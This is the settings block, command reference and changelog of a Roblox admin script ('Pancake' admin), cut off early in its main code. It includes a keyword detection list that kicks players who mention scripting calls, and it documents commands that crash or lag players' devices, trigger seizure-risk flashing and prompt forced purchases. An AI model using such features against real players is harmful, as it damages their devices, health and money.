--------------------- local set={} --Main Script Table (Don't Touch) --------------------- -- IMPORTANT -- --------------------- --[[ATTENTION: IF YOU ARE USING THIS IN A PERSONAL SERVER SET THE PERSONALSERVER SETTING TO TRUE!--]] set['PersonalServer'] = true -- Set this to true if you are using a personal server. set['FilteringEnabled'] = false -- Set to true if FilteringEnabled is set to true (NO GUIS). (If you do not know what that is then do not touch this) --[[ ------------------------------------------------------------------------ IF THERE ARE NEW SETTINGS YOU WILL NEED TO MANUALLY UPDATE THE SCRIPT TO CHANGE THEM, THEY WILL OTHERWISE BE LEFT AS THE DEFAULT. ------------------------------------------------------------------------ Please carefully read each setting's description BEFORE changing something as you could break something if you set something the wrong way. ------------------------------------------------------------------------ ~PancakeAttacks~ --]] --------------------- -- Tables --------------------- set['Owners'] = {"Mitko1223tm"} -- Are able to set Admins who can ban/etc... using :pa name set['Admins'] = {""} -- Sets Admins who can use ban/kick/admin or shutdown set['TempAdmins'] = {} -- Sets Admins who can't use ban/kick/admin or shutdown set['BanList'] = {'Test_User123=1235674'} -- Add people to ban here. Format to use UserId is "Name=UserId" EX: "John32=192845", this bans any player named John32 or has an id of 192845 (This way they can't bypass the ban by changing their username) use $group=GROUPID to ban groups. set['MuteList'] = {} -- Add the names of people to mute (makes it so they cant talk) ---------------------- -- Basic Settings -- ---------------------- set['prefix'] = ":" -- This comes before each admin command (:kill pancake) set['anyprefix'] = "!" -- This comes before each player command (commands that can be run by anyone, !rejoin, !ping, etc) set['sprefix'] = "" -- Prefix to use with special functions (!admin,!nonadmins,!all,!others,!random) By default this is now set to nothing to avoid confusion. set['AutoUpdate'] = true -- Automatically get the newest version? You need to have the model in your inventory on your profile in order for autoupdate to work. set['FunCommands'] = true -- Set to false if you only want the basic commands (For Strict Places) set['NilScript'] = true -- Nil the script? set['NoTalk'] = true -- Enable notalk cmds (Good for group trainings)? set['HelpSystem'] = true -- Enable the Help System? (!help command) set['ChatLog'] = true -- Log all chats for the server? set['MaxNumberOfLogs'] = 1000 -- How many logs to display at a time (MAX is 1500 to avoid server lag/other issues) set['JoinMessage'] = false -- Display a message with player info when a player joins, set group id in group settings if you want it to display if a player is in a group or not and if so what rank they are. set['DonorStuff'] = false set['PermBanKey'] = '0.49971007415998' -- Key (Random String) to use in persistent perm ban (change if you perm banned someone by accident, make it 100% random, if you want a random key generator, put print(math.random()) into the command bar in studio and hit enter, then just copy what it gives you in the output window) set['FreeAdmin'] = false -- Set to true if you want everyone to get the set type of admin (not recommended) set['FreeAdminType'] = 'TempAdmin' -- Type of admin for FreeAdmin (TempAdmin/Admin/Owner) set['AutoClean'] = false -- AutoClean the server? (!clean) set['AutoCleanDelay'] = 60 -- How long to wait between AutoCleans (in seconds) set['PlayerCommands'] = true -- Sets whether or not nonadmins can use player commands (!rejoin,!ping,!cmds,etc) set['OwnersAreTrueOwners'] = true -- This indicates whether or not Owners are considered True Owners, if set to true Owners get the same commands as the place owner (permban and other true owner cmds) set['PMUsableByAnyone'] = false -- Set this to true if you want it so anyone can use the PM command set['SyncedBanList'] = true -- Don't Touch Breaks Game!!! set['SBLSetId'] = 1307282 set['SBLWait'] = 5 --------------------- -- Anti-Exploit -- --------------------- set['AntiExploit'] = true -- Prevents non-admins from running code/commands via chat, stops a large number of other things including selection changed (finds if a user is using studio) set['AntiRobloxLocked'] = true -- Disconnects any player who is or becomes RobloxLocked. (Recommended you keem this enabled, if a player joins RobloxLocked they will not be hooked by the script, this removes them before they break something.) set['AntiNewAccount'] = false -- Prevents accounts under the set age from joining. set['MinimumAge'] = 100 -- Age a player must be above (in days) if AntiNewAge is enabled. set['AntiSpeed'] = false -- Trys to stop speed hackers set['AntiGui'] = false -- Prevents non-game/pancake's guis from being spawned on players, such as the account stealing gui. set['AntiNil'] = true -- Crashes anyone who goes "nil" set['AntiNoclip'] = false -- (USELESS AGAINST CURRENT NOCLIP EXPLOIT however can stop script based noclipping and will update when a usable antiexploit method is found.) Attempts to stop noclipping, not 100% but is better then nothing, can be buggy. set['AntiAnimation'] = false -- Prevents animation exploit set['AntiExploitWordList'] = {'getitem[^%s]','workspace%.[^%s^%.]','[^%s^%w]ban [%w]','ban[^%s^%w][%w]','crash[^%s^%w][%w]','[^%s^%w]crash [%w]','[^%s^%w]kick [%w]','kick[^%s^%w][%w]','SetCoreGuiEnabled','GetObjects','GetChildren','children()','in pairs(','script%.Parent','game%.Workspace','game:service','GetService','game%.Debris','game%.Lighting','game%.Players','loadstring(','InsertService','LoadAsset','FindFirstChild','while (.*) do','Instance.new'} -- Removes a player if any of these are spoken. For more information about string patterns go to http://wiki.roblox.com/index.php?title=String_pattern set['AllowedGuiList'] = {} --If there is a gui in your game that is not in startergui --then add its name to this table, do note that if the --name of the gui is just ScreenGui or something like --that, if a hacker inserts a gui with the same name --it will not be removed, so make sure you make the name --of the gui very specific. --------------------- -- Group Settings -- --------------------- set['GroupAdmin'] = false -- If a certain group can have admin set['GroupOnlyJoin'] = false -- Makes it so ONLY people in the set group can join the game. set['GroupId'] = 0 -- Id of group, used for group admin and info/join message, if set will display a user's rank when the info command is used on them. set['RankType'] = "Specific" -- Specific/NonSpecific, sets how to check ranks, NonSpecific uses the old kohls method for checking ranks (rank+) Specific checks the SpecificRanks table for if a player has the rank. set['SpecificRanks'] = {}-- Add what ranks have admin to this table. EX: set['SpecificRanks'] = {"RANKNAME=Owner/Admin/TempAdmin/Banned","Generals=Admin","Intern Director=TempAdmin"} (NOTE THAT RANK NAMES CONTAINING = ARE NOT SUPPORTED, USE ITS RANK NUMBER INSTEAD! set['NonSpecificRank'] = 0 --(Old Kohls Method) Set rank here if RankType="NonSpecific", needs to be rank number NOT NAME, otherwise add ranks to have admin into the SpecificRanks table. set['NonSpecificRankType'] = 'TempAdmin' --------------------- -- VIP Admin -- --------------------- set['VipAdmin'] = false -- If someone can have admin for owning an item set['ItemId'] = 0 -- The item they must own in order to have admin set['ItemType'] = 'GamePass' -- type of item. (GamePass/Badge) set['FriendAdmin'] = false -- Set to true if you want people on your friendlist to have admin --------------------- -- GUI Settings -- --------------------- set['PrimaryColor'] = Color3.new(0,0,0) set['SecondaryColor'] = Color3.new(1,1,1) set['TextColor'] = Color3.new(1,1,1) set['TextStrokeColor'] = Color3.new(0,0,0) set['Transparency'] = 0.5 --------------------- -- Extra -- --------------------- set['MusicList'] = {{Name='SadPiano',Id=130798493}} -- Add music to this table using the format: {Name='ExampleSong',Id=1234567} so that the table would look like local MusicList={{Name='ExampleSong',Id=1234567};{Name='ExampleSong2',Id=1234568}}, if you want to add pitch/volume simply insert Pitch and Volume EX: {Name='ExampleSong2',Id=1234568,Pitch=2,Volume=0.5} --------------------- -- Tips and Tricks -- --------------------- --[[ With this admin you can do a command on multiple people at a time; :kill me,noob1,noob2,!random,%raiders,$123456,!nonadmins -- kills you, noob1, noob2, a random person, team raiders, people in group 123456, and nonadmins. You can also run silent commands using /e, for example: "/e :kill pancake" Do not that this will still show up in logs. You can also use a variety commands for different people; !all --everyone in the server !others --like !all but not you me --you %TEAMNAME --Ex: :kill %raiders will kill everyone in team Raiders. $GROUPID -- Let you kill anyone in a specific group, if an id is not given it will use the GroupId setting. !admins --admins in the server !nonadmins --people who are not admins in the server !random --a random person, this can include you. If you want to add cameras to your game (like saved into your game so you don't need to use the admin script to spawn them every new server) then just make a camera, needs to be a single part, so a sphere, brick, what ever it may be, make sure its anchored and locked just simply position it where you want in workspace, then make its name Camera: NAMEHERE so for example: Camera: Cam1 the name is very important as the script will look for it in workspace when the game starts. make sure you name each camera something diffierent. MESSAGES/HINTS FOR OTHER SCRIPTS: If you would like to have the hints/messages from this script usable in other SERVER (not local) scripts, then simply put the follow at the top of your script, message=_G['Message'] hint=_G['Hint'] USAGE EXAMPLES: hint(msg,playerstable) - message(title,msg,playerstable) (Do note that playerstable needs to be a table containing players. Use game.Players:children() to send a message ot everyone.) hint('Hello people',game.Players:children()) <=== sends "Hello people" to all people in game hint('Heyo montano',{game.Players.montano60}) <=== Sends "Heyo montano" to montano60 message('Server Message','Hello people',game.Players:children()) message('Message from swagyguy','Heyo montano',{game.Players.montano60}) --]] --------------------- -- Commands -- --------------------- --[[ -- |Temp Admin Commands| -- 0. clean -- Is a command anyone can use to remove hats/tools/roblox messages/roblox hints lagging up the place 1. :puke pancake -- Make a player puke, will make players they puke on also puke 2. :cut pancake -- Cut a player :3 (bleed) 3. :map -- Puts you above the game and allows you to teleport to areas of the map by clicking (x to stop, e up, q down, normal walking controls) 4. :m Hello People -- This commands will let you shout a message to everyone on the server 5. :kill pancake -- Kills the player 6. :respawn pancake -- Respawns the player 7. :trip pancake -- Trips the player 8. :stun pancake -- Stuns the player 9. :unstun pancake -- Unstuns the player 10. :jump pancake -- Makes the player jump 11. :sit pancake -- Makes the player sit 12. :invisible pancake -- Makes the player invisible 13. :visible pancake -- Makes the player visible 14. :explode pancake -- Makes the player explode 15. :fire pancake -- Sets the player on fire 16. :unfire pancake -- Removes fire from the player 17. :smoke pancake -- Adds smoke to the player 18. :unsmoke pancake -- Removes smoke from the player 19. :sparkles pancake -- Adds sparkles to the player 20. :unsparkles pancake -- Removes sparkles from the player 21. :ff pancake -- Adds a forcefield to the player 22. :unff pancake -- Removes the forcefield from the player 23. :punish pancake -- Punishes the player 24. :unpunish pancake -- Unpunishes the player 25. :freeze pancake -- Freezes the player 26. :thaw pancake -- Thaws the player 27. :heal pancake -- Heals the player 28. :god pancake -- Makes the player have infinite health 29. :ungod pancake -- Makes the player have 100 health 30. :ambient .5 .5 .5 -- Changes the ambient 31. :brightness .5 -- Changes the brightness 32. :time 12 -- Changes the time 33. :fogcolor .5 .5 .5 -- Changes the fogcolor 34. :fogend 100 -- Changes the fogend 35. :fogstart 100 -- Changes the fogstart 36. :removetools pancake -- Removes all tools from the player 37. :btools pancake -- Gives the player building tools 38. :give pancake sword -- Gives the player a tool 39. :damage pancake -- Damages the player 40. :grav pancake -- Sets the player's gravity to normal 41. :setgrav pancake 100 -- Sets the player's gravity 42. :nograv pancake -- Makes the player have 0 gravity 43. :health pancake 1337 -- Changes the player's health 44. :speed pancake 1337 -- Changes the player's walkspeed 45. :name pancake potato -- Changes the player's name 46. :unname pancake -- Remove the player's name 47. :team pancake Raiders -- Changes the player's team 48. :stopmusic -- Will stop all music playing in the server 49. :teleport pancake potato -- Teleports the player 50. :change pancake kills 1337 -- Changes a player's stat 51. :syncedbanlist -- Displays the names of people in the syncedbanlist database 52. :infect pancake -- Turns the player into a zombie 53. :rainbowify pancake -- Turns the player into a rainbow 54. :flashify pancake -- Turns the player into a strobe 55. :noobify pancake -- Turns the player into a noob 56. :ghostify pancake -- Turns the player into a ghost 57. :goldify pancake -- Turns the player into gold 58. :shiny pancake -- Makes the player shiny 59. :normal pancake -- Puts the player back to normal 60. :trippy pancake -- Spams random colors on the player's screen 61. :untrippy pancake -- Untrippys the player 62. :strobe pancake -- Spams white and black on the player's screen 63. :unstrobe pancake -- Unstrobes the player 64. :blind pancake -- Blinds the player 65. :unblind pancake -- Unblinds the player 66. :guifix pancake -- Will fix trippy/strobe/blind on a player 67. :fling pancake -- Flings the player 68. :seizure pancake -- Puts the player in a seizure 69. :music 1337 -- Plays a sound from the ID 70. :lock pancake -- Locks the player 71. :unlock pancake -- Unlocks the player 72. :removelimbs pancake -- Removes the player's limbs 73. :jail pancake -- Puts the player in a jail 74. :unjail pancake -- Removes the jail from the player 75. :fix -- This will fix the lighting to it's original settings 76. :fly pancake -- Makes the player fly 77. :unfly pancake -- Removes fly from the player 78. :flynoclip pancake -- Flying noclip (original pancakes noclip) 79. :clip pancake -- Removes noclipping from the player 80. :pm pancake Hey bro -- Sends the player a private message 81. :dog pancake -- Turns the player into a dog 82. :undog pancake -- Turns the player back to normal 83. :creeper pancake -- Turns the player into a creeper 84. :uncreeper pancake -- Turns the player back to normal 85. :place pancake 1337 -- Sends a teleporation request to a player to go to a different place 86. :char pancake 261 -- Will make a player look like a different player ID 87. :unchar pancake -- Will return the player back to normal 88. :h Hello People -- This will shout a hint to everyone 89. :rank pancake 109373 -- Will show up a message with the person's Role and Rank in a group 90. :starttools pancake -- Will give the player starter tools 91. :sword pancake -- Will give the player a sword 92. :bighead pancake -- Will make the player's head larger than normal 93. :minihead pancake -- Will make the player's head smaller than normal 94. :insert 1337 -- Will insert a model at the speaker's position 95. :disco -- Will make the server flash random colors 96. :flash -- Will make the server flash 97. :admins -- Shows the admin list 98. :bans -- Shows the banlist 99. :musiclist -- Shows the music list 100. :spin pancake -- Spins the player 101. :cape pancake Really black -- Gives the player a colored cape 102. :uncape pancake -- Removes the player's cape 103. :loopheal pancake -- Will constantly heal the player 104. :loopfling pancake -- Will constantly fling the player 105. :hat pancake 1337 -- Will give the player a hat under the id of 1337 106. :unloopheal pancake -- Will remove the loopheal on the player 107. :unloopfling pancake -- Will remove the loopfling on the player 108. :unspin pancake -- Removes spin from the player 109. :tools -- Gives a list of the tools in the lighting 110. :undisco -- Removes disco effects 111. :unflash -- Removes flash effects 112. :resetstats pancake -- Sets all the stats of a player to 0 113. :gear pancake 1337 -- Gives a player a gear 114. :cmdbar -- Gives the speaker a command bar 115. :shirt pancake 1337 -- Changes the player's shirt 116. :pants pancake 1337 -- Changes the player's pants 117. :face pancake 1337 -- Changes the player's face 118. :swagify pancake -- Swagifies the player 119. :version -- Shows the current version of the admin 120. :tm 1337 yolo -- Shows a message for 1337 seconds 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds 122. :clone pancake -- Creates a clone of the player 123. :clear -- clears scripts/localscript/cs scripts/jails/etc etc 124. :startergive pancake epic -- Gives a player a gear in their starterpack 125. :control pancake -- Controls a player 126. :stickify pancake -- Turns player into a stick figure 127. :delimb pancake -- remove player limbs 128. :notalk pancake -- tells a player not to talk, needs to be set to true in setting 129. :unnotalk pancake -- undos the notalk stuffz 130. :chatlog -- Displays the server chatlog with time 131. :info pancake -- Displays info about the player, if groupid is set will display players rank in the group as well. 132. :players -- Displays ALL (Yes even the nil ones not on the leaderboard) players thats are currently in the game. 133. :epilepsy -- Flashes slightly different messages very rapidly while removing the payers humanoid causing them to not be able to respawn, WARNING: This can cause seizures. 134. :sell pancake itemid tix/robux/default -- prompts the target to buy the item and in selected currency, default will be used if the currency type is not set to t,tix,tickets/r,rb,robux 135. !donate -- Donate and help further developement :)! 136. :talk pancake i like ponies -- Makes a dialong bubble pop up over target with message 137. :rocket pancake -- Rockets a player 138. :donors -- Shows list of people who donated :3 139. :makecam cam2 -- Makes a camera at the admin's head's position with given name 140. :cameras -- Shows list of cameras, allows you to reset view and view cameras 141. :resetview -- Reset admins camera 142. :view pancake -- Views a player 143. :drug pancake -- Drugs a player 142. :noclip pancake -- Allows player to walk through walls 143. :dance pancake -- Makes a player dance for 60 seconds 144. :repeat amount interval command -- repeats command for amount times every interval seconds (repeat 10 1 kill pancake) 145. !help -- Normal players can use this to get the attention of admins 146. :oambient num num num -- Sets outdoor ambient 147. :fog start end -- Sets fog, start is FogStart end is FogEnd 148. :nofog -- gets rid of fog 149. :shadowson -- Turns on global shadows 150. :shadowsoff -- Turns off global shadows 151. :outlineson -- Turns on outlines 152. :outlinesoff -- Turns off outlines 153. :capes -- List of capes 154. :light pancake -- places a dynamic light on the player, accepts custom colors 155. :unlight pancake -- removes light from player 156. !getscript -- prompts you to puchase the script (its free) 157. !rejoin -- makes you rejoin 158. !ping -- shows you your ping to the server 159. :chat -- lets you chat via dialog boxes, good for private talks, anything chatted with it will not show up in chatlogs/the games chat. 160. :batch cmd1/cmd2/cmd3/etc -- lets you batch run commands. EX: :batch ff pancake/sparkles pancake Bright red/m Potatos (NOTE THIS WILL NOT WORK CORRECTLY IF YOU ISSUE COMMAND CONTAINING /) 161. :usage -- Shows how some special functions work and gives some useful information 162. !uncape -- uncapes the user (donors only) 163. !cape -- Gives user the donor stuff (donors only) 164. :adminchat -- Chat for admins 165. :refresh pancake -- Respawns the player and sends them back to where they were when the cmd was ran. 166. :breakdance pancake -- Makes target player breakdance with lights, fire, sparkles, and smoke, all set to a semi random color :D -- |Admin Commands| -- - :s print("Hello World") -- Lets you script normally - :ls print("Hello World") -- Lets you script in localscripts - :cs pancake print("yolo") -- Creates a localscript inside of a player - :mute pancake -- Removes a player's chat - :unmute pancake -- Restores a player's chat - :serverlock -- Locks the server - :serverunlock -- Unlocks the server - :sm Hello World -- Creates a system message - :crash pancake -- Crashes a player - :admin pancake -- Admins a player - :unadmin pancake -- Unadmins a player - :kick pancake -- Disconnects a player from the game [WORKS ON NIL PLAYERS] - :ban pancake -- Bans a player - :unban pancake -- Unbans a player - :loopkill pancake -- Will constantly kill the player - :unloopkill pancake -- Will remove the loopkill on the player - :logs -- Will show all of the commands any admin has used in a game session - :shutdown -- Shutsdown the server - :lag pancake -- Lags a player - :ko pancake -- KOs a player for set number of times......? - :nil pancake -- Makes player nil and turns into a probe - poff -- Makes nil probe light/chat invisible - pon -- Makes nil probe light/chat visible - :pitch -- changes pitch of sounds in workspace (music) - :mutelist -- lets you see whos muted - :freefall pancake height -- teleports a player upward by height - :toollag pancake -- Makes a player's FPS drop until they crash, consumes graphics card and ram. - :telespam pancake -- send a player to a game that teleports them to the same game in a loop while lagging them, lols. - :note pancake lolhi -- makes a note on pancake that says lolhi - :removenote pancake lolhi -- removes note lolhi from pancake (does not need to be full note name) - :notes pancake -- displays notes about pancake (DATA PERSISTENT) -- |Owner Commands| -- - :pa pancake -- Makes someone a super admin - :unpa pancake -- Removes a super admin - :nuke pancake -- Creates a nuke on pancake - :explore -- Explore the game via a gui - :restoremap -- Restores the map to a backup saved at server start (includes scripts and may break stuff) -- |True Owner Commands| -- - :oa pancake -- Makes someone an owner - :unoa pancake -- Removes an owner - :settings -- Shows settings for the commands - :forceplace -- Force teleports people to a place without confirmation. - :permban pancaketastrophe -- Perm bans target player from all servers, forever, unless the PermBanKey is changed to something else. Requires FULL NAME AND CONFIRMATION! - :%updatepancakes% -- Updates the script for that server (may be buggy) --]] -------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------- ----[ WARNING: Editing anything below could result errors and break the script! ]----- ---------------[ DO NOT MODIFY UNLESS YOU KNOW WHAT YOU ARE DOING! ]------------------ -------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------- local ThingsToUpdate={ 'Owners', 'Admins', 'TempAdmins', 'BanList', 'MuteList', 'AntiExploitWordList', 'AllowedGuiList', 'SpecificRanks', 'MusicList', 'RankType', 'NonSpecificRank', 'prefix', 'FunCommands', 'GroupAdmin', 'GroupId', 'VipAdmin', 'FriendAdmin', 'ItemType', 'ItemId', 'SyncedBanList', 'NilScript', 'NoTalk', 'ChatLog', 'JoinMessage', 'MaxNumberOfLogs', 'PermBanKey', 'SBLSetId', 'SBLWait', 'AntiExploit', 'DonorStuff', 'AntiGui', 'AntiAnimation', 'AnitNewAccount', 'MinimumAge', 'GroupOnlyJoin', 'PrimaryColor', 'SecondaryColor', 'TextColor', 'TextStrokeColor', 'Transparency', 'FreeAdmin', 'FreeAdminType', 'AntiNil', 'AntiRobloxLocked', 'HelpSystem', 'sprefix', 'AntiSpeed', 'anyprefix', 'AntiNoclip', 'AutoCleanDelay', 'AutoClean', 'PersonalServer', 'PlayerCommands', 'OwnersAreTrueOwners', 'PMUsableByAnyone' } --[ Main Script Function ]-- set.RunTheScript=function() coroutine.wrap(function() print('Admin: Starting') changelog={ 'KEY: -Removed +Added *Changed/Fixed !Important'; '----------------------------------------------'; '285:'; '*Bug fixes'; '---------------------------------'; '284:'; '*Bug fixes'; '---------------------------------'; '283:'; '*Bug fixes'; '---------------------------------'; '282:'; '*PM now has a reply. Suggested by kindnesslord'; '---------------------------------'; '281:'; '*Bug fixes'; '*Max Number of Logs has a MAX of 1500 to avoid problems. (will set itself to 1500 if above 1500)'; '---------------------------------'; '280:'; '*Hint stacking (up to 5 on screen at one time)'; '*Bug fixes'; '---------------------------------'; '279:'; '+Added the ability to use Messages/Hints from other scripts'; '!Refer to tips and tricks to learn how to use messages/hints from this in other server scripts'; '---------------------------------'; '278:'; '*Bug fixes'; '---------------------------------'; '277:'; '*/e is filtered by the anti exploit'; '*Silent commands can be done by using /e :kill pancake for example'; '---------------------------------'; '276:'; '*Bug fixes'; '---------------------------------'; '275:'; '*Bug fixes'; '---------------------------------'; '274:'; '+PMUsableByAnyone setting, suggested by GloriedRage'; '+Freefall cmd, suggested by GloriedRage'; '*Bug fixes'; '---------------------------------'; '273:'; '*Updated donor system, anyone who bought the custom cape and change their cape for the game in-game'; '---------------------------------'; '272:'; '+Display error if player does not exist, suggested by GloriedRage'; '---------------------------------'; '271:'; '+OwnersAreTrueOwners setting'; '---------------------------------'; '270:'; '+%updatepan% command for game owners'; '---------------------------------'; '269:'; '*Updated some things with the GetPlayers function'; '---------------------------------'; '268:'; '*Removed flash/disco loadstring dependencies'; '---------------------------------'; '267:'; '*Mutes work like bans'; '+mutelist command'; '---------------------------------'; '266:'; '*Changed how the scrollingframe gets its size, waits for children to be added first, less lag.'; '---------------------------------'; '265:'; '*Updates to the scrollgui'; '+New songs'; '---------------------------------'; '264:'; '*ScrollGuis now use ScrollFrames'; '*Visual bug fixes'; '---------------------------------'; '263:'; '*Bug fixes'; '---------------------------------'; '262:'; '*Sbl list will display what database the banned user is on'; '---------------------------------'; '261:'; '+New songs'; '---------------------------------'; '260:'; '*Speed system updates'; '*Bug fixes'; '*Updates to the group admin system (made it simpler to add specific ranks)'; '---------------------------------'; '259:'; '*Bug fixes'; '---------------------------------'; '258:'; '*Bug fixes'; '+FilteringEnabled setting'; '*FilteringEnabled support (NO GUIS)'; '---------------------------------'; '257:'; '!Major Updates'; '*Bug fixes'; '*Improved update system'; '*Impoved script performance'; '*Improved how settings are stored'; '*Improved security'; '*Improved client-server/server-client connection'; '*Client-server/server-client data is more secure'; '!ALL PLACE OWNERS MUST MANUALLY UPDATE!'; '!I am currently trying to make it work with FilteringEnabled!'; '---------------------------------'; '256:'; '*Donor System updates'; '*Bug fixes'; '---------------------------------'; '255:'; '*Changed pinvisible/pvisible to poff/pon'; '*Updated some stuff with the nil probe/command'; '---------------------------------'; '254:'; '*Bug fixes'; '+restoremap cmd. Restores stuff in workspace to a backup saved aat server start. WILL CLEAR WORKSPACE!'; '---------------------------------'; '253:'; '*Bug fixes'; '+Talk command'; '+Command error reporting (prints the error and shows it to the player running the command)'; '!For security purposes its recommended all place owners manually update to the newest version!'; '---------------------------------'; '252:'; '*Fixed a typo causing the donor list to not work correctly'; '---------------------------------'; '251:'; '*Updates to the music system'; '*Can now specify Pitch and Volume in the MusicList table'; '*Music is no longer case sesitive'; '*Will tell you if an id is invalid (invalid if not audio or not a real id)'; '---------------------------------'; '250:'; '+PlayerCommands setting'; '---------------------------------'; '249:'; '*Bug fixes'; '---------------------------------'; '248:'; '*Main Script Function settings stored in table, prevents 60 upvalues error (hopefully) and makes things more organized'; '+MusicList table, users can now add their own songs to the scripts musiclist, refer to the settings section for more information'; '*Music is now grabbed from a table as per the musiclist update'; '!I have yet to find a bug with this version but because I made settings go inside a table I expect one or two, so if you find one PLEASE REPORT IT TO ME (montano60)!'; '---------------------------------'; '247:'; '*Update to AntiExploit system, making code running work with LoadstringEnabled set to false'; '---------------------------------'; '246:'; '*Updated donor system to use gamepasses (NBC can now make them)'; '*New !donate gui'; '*In-game donating'; '*donors by default get the Donor Cape, must pay for a custom cape'; '!None of this will effect current donors!'; '--------------------------------'; '245:'; '*Various bug fixes'; '*Fixed stuff relating to roblox disabling loadstring by default'; '*Fixed some weird torso related bugs'; '*Fixed rainbowify and flashify'; '*Changelog trimmed for space'; '--------------------------------'; '244:'; '+!quote cmd'; '+Random quote in the output window'; '*:help is now !cmds, and added !commands, both do the same as :commands'; '--------------------------------'; '243:'; '-AntiExploit feature from previous problem, believed to be causing strange bugs.'; '--------------------------------'; '242:'; '+New feature of the AntiExploit will attempt to crash players using an unstable exploit on-spawn'; '--------------------------------'; '241:'; '!ATTENTION: BECAUSE ROBLOX IS MEAN THEY DISABLED SERVERSIDE LOADSTRING!'; '!THIS MEANS NO SERVER RELIANT SCRIPT BASED COMMANDS WILL WORK!'; '!THIS INCLUDES THE SCRIPTING COMMAND, HOWEVER ONLY FOR SERVER SCRIPTS!'; '!LOCALSCRIPTS WILL STILL WORK. I WILL WORK TO FIND A WAY TO FIX THIS!'; "!JUST PLEASE KNOW THIS IS NOT MY FAULT, IT IS ROBLOX'S!"; '!YOU NEED TO MANUALLY ENABLE LOADSTRINGENABLED IN SERVERSCRIPTSTORAGE!'; '-------------------------------'; '240:'; '*PlayerList is now searchable and refreshable (:players)'; '!easier to find the iLiLiLLi type names that look like IlIlIllI in the playerlist :)!'; '-------------------------------'; '239:'; '+PersonalServer setting. SET TO TRUE IF USING IN A PERSONAL SERVER!'; '+AutoClean and AutoCleanDelay settings'; '-------------------------------'; '238:'; '*Bug fixes'; '*Shows list name in donor list'; '-------------------------------'; '237:'; '+breakdance cmd'; '-------------------------------'; '236:'; '+refresh command, respawns and teleports a player to where they were when the command was ran. :p'; '-------------------------------'; '235:'; '*Admins now spawn with the admin chat'; '*Admin chat window is now a bit bigger'; '-------------------------------'; '234:'; '*NOCLIP (the command) WORKS AGAIN :D!'; '-------------------------------'; '233:'; '+AntiNoclip (disabled by default) not 100% but better than nothing, can be buggy'; '*Disabled AntiSpeed by default'; '-------------------------------'; '232:'; '+adminchat cmd, its a chat, for admins :)'; '-------------------------------'; '231:'; '+anyprefix setting for cmds everyone can use'; '*updates to the autoupdate system'; '-------------------------------'; '230:'; '*Updates to how donor list is grabbed'; '*donors command is now !donors or !donators and can be used/viewed by anyone'; '-------------------------------'; '229:'; '+AntiSpeed in Anti-Exploit'; '-------------------------------'; '228:'; '*Bug fixes'; '+!uncape cmd (donors only)'; '+!cape cmd (donors only)'; '-------------------------------'; '227:'; '+sprefix setting for special functions'; '-------------------------------'; '226:'; '+usage command to show how to use some special functions and give information'; '-------------------------------'; '225:'; '*Things that take the place of player names must have ! infront, EX: :kill !admins,!random,!all,!others,etc etc'; '-------------------------------'; '224:'; '+batch cmd USAGE: :batch cmd1/cmd2/cmd3/etc Ex: :batch kill pancake/sparkles mont/rocket jim'; '*repeat cmd no longer needs the prefix for the cmd to repeat, now you can just do :repeat AMMOUNT INTERVAL COMMAND instead of :repeat AMMOUNT INTERVAL :COMMAND'; '-------------------------------'; '223:'; '+Ability to run commands on people in a specific group, see below for usage'; ':kill $GROUPID will kill everyone in the group GROUPID, if no id is given it will use the GroupId setting (:kill $)'; '-------------------------------'; '222:'; '+New songs'; '-------------------------------'; '221:'; '+Refresh buttons in logs'; '*Bug fixes'; '*Admin commands will not show up in chatlogs HOWEVER if your prefix is nothing admin chats will show up in logs instead of chatlogs.'; '-------------------------------'; '220:'; '+Chat cmd (good for personal talks)'; '-------------------------------'; '219:'; '*New !help cmd (completely re-done) *HelpSystem'; '-------------------------------'; '218:'; '*Semi fixed noclip (Modded a script from a tool to work until I find a better solution, thanks to whoever made the tool.)'; '-------------------------------'; '217:'; '+AntiNil setting'; '+AntiRobloxLocked setting'; '*Changed some AntiExploit related things/Bug fixes'; '-------------------------------'; '216:'; '+!ping cmd'; '-------------------------------'; '215:'; '*Delagged ko cmd a little'; '*fpslag is now toollag'; '*Smoke now colorable'; '*Fixed music loading. Faster loading, less lag, and instant.'; '------------------------------'; '214:'; '*Cmds now searchable'; '*Cmds now viewable by nonadmin (only can see non-admin cmds)'; '*Non-Admin commands added to cmd list, always will have ! infront'; '*Rejoin, getscript, donate, clean, and help moved to nonadmins commands, and added to cmd list'; '*clean changed to !clean'; '------------------------------'; '213:'; '+getscript cmd (can be used by anyone)'; '*Music now has a "Now playing SONGNAME" message that pops up'; '------------------------------'; '212:'; '+demons in music'; '------------------------------'; '211:'; '*Bug fixes'; '*Updated hint and message guis'; '*No more hint spam/overlapping'; '------------------------------'; '210:'; '*Bug fixes'; '------------------------------'; '209:'; '+Ragdoll cmd'; '*Bug fixes'; '------------------------------'; '208:'; '+David Guetta- BAD in music ("bad")'; '*Updated talkdirty to a not deleted one.'; '------------------------------'; '207:'; '+Dynamic lights in some stuff like fire and sparkles'; '+Light command, +Unlight command'; '------------------------------'; '206:'; '+rejoin cmd'; '*Temp Admins can no longer script (they could use it to kick admins and such, so ye)'; '*Scripting commands moved up to PA+'; '*Bug fixes with some commands'; '------------------------------'; '205:'; '*Bugs fixes (Sorry about the give cmd guys)'; '------------------------------'; '204:'; '*Bans now support groups, usage is $group=GROUPID'; '*Bug fixes'; '------------------------------'; '203:'; '*fire command updated, now supports colors, like :fire me Bright red'; '------------------------------'; '202:'; '!TO RUN TEAM COMMANDS USE %TEAMNAME INSTEAD OF TEAM TEAMNAME!'; '!EX: :kill %raiders instead of :kill team raiders!'; '------------------------------'; '201:'; '*Bug fixes'; '------------------------------'; '200:!'; '+notes cmd'; '+removenote cmd'; '+note cmd' } --------------------- -- Main Script -- --------------------- if _G['Pancake Update'] then local updated,failed=ypcall(function() print('AutoUpdate: Grabbing update data...') local update=_G['Pancake Update'] for number,setting in pairs(ThingsToUpdate) do if update[setting] then set[setting]=update[setting] end end -------------------------------- _G['Pancake Update']=nil end) if updated then print('AutoUpdate: Finished Updating.') elseif failed then print('AutoUpdate: Update Failed.') print('Please contact montano60 as this may be a bug.') print('Error: '..failed) print('If this error persist please check your settings. If needed disable AutoUpdate until the issue is solved.') end end set.LocalScriptBase=script:FindFirstChild('LocalScriptBase') set.ScriptBase=script:FindFirstChild('ScriptBase') local origsettings = { abt = game:service('Lighting').Ambient, oabt = game:service('Lighting').OutdoorAmbient, brt = game:service('Lighting').Brightness, time = game:service('Lighting').TimeOfDay, fclr = game:service('Lighting').FogColor, fe = 